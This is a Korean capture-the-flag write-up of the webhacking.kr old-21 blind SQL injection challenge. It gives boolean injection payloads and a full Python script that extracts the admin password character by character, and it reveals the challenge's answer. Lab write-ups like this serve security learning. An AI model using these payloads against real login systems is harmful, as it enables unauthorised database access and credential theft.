webhacking.kr old-21 write-up

문제 첫 화면이다. 제목이 blind sql injection이라고 친절하게 알려주고있다. admin admin을 입력하면 login fail이 뜬다. guest guest를 입력하면 login success가 뜬다.
본격적으로 sql injection을 해보자. ' or 1=1#을 입력하니 wrong password가 뜨고 ' or 1=2#를 입력하니 login fail이 뜬다. 이 특징을 이용해서 blind sql injection을 하면 될거 같다.
그래서 대충 ' union select 1,2# 를 입력했는데 result:no hack이 뜬다... 계속 확인해본 결과 'select'가 필터링되나보다. select없이 뭘 할 수 있을까 생각했다. 기껏 생각해낸것이 db이름을 알아내는것이다. 파이썬으로 페이로드를 작성해서 id = 'or 1=1 and length(database)=i 을 사용해서 길이를 구하고
id=' or 1=1 and ascii(substring(database(),i,1))=(ascii값)# 를 사용해서 이름을 구하니 db이름은 webhacking이었다.

그런데 문제는 table, column값을 구하려면 'select'가 꼭 필요하기 때문에 아무것도 할 수가 없었다. 그래서 hex encode로 값을 전달해봤지만 실패했다.

도무지 방법이 없어서 write-up을 보니 그냥 column 이름을 id, pw로 예측하고 브루트포싱하는거였다... 내가 너무 치밀했나...? 아무튼 페이로드를 다시 작성해도 돌렸다.

import requests
from urllib.parse import urlparse

params = {}
datalen = 0

for i in range(100):
    url = "https://webhacking.kr/challenge/bonus-1/index.php"
    params['id']="admin' and length(pw)="+str(i)+'#'
    params['pw']='123'
    res=requests.get(url, params=params)
    
    if 'wrong password' in res.text:
        print('find {}'.format(i))
        datalen=i
        break
    else:
        print('failed...')

database = ''
for j in range(datalen):
    for i in range(30,128):
        url = "https://webhacking.kr/challenge/bonus-1/index.php"

        params['id']="admin' and ascii(substring(pw,"+str(j+1)+",1))="+str(i)+"#"
        params['pw']='123'
        res=requests.get(url, params=params)
        if 'wrong password' in res.text:
            print('find {}'.format(chr(i)))
            database += chr(i)
            print(database)
            break

pw가 36자리 문자열이여서 꽤 많은 반복문을 돌려야해서 시간이 꽤 걸린다. 다 돌리면 there_is_no_rest_for_the_white_angel 가 나온다. id=admin, pw=there_is_no_rest_for_the_white_angel를 입력하면
solved

어쩌면 내가 치밀했던게 아니라 그 경우를 생각해내지 못한게 아닐까? 살짝은 억울한 문제였다.

좋은 웹페이지 즐겨찾기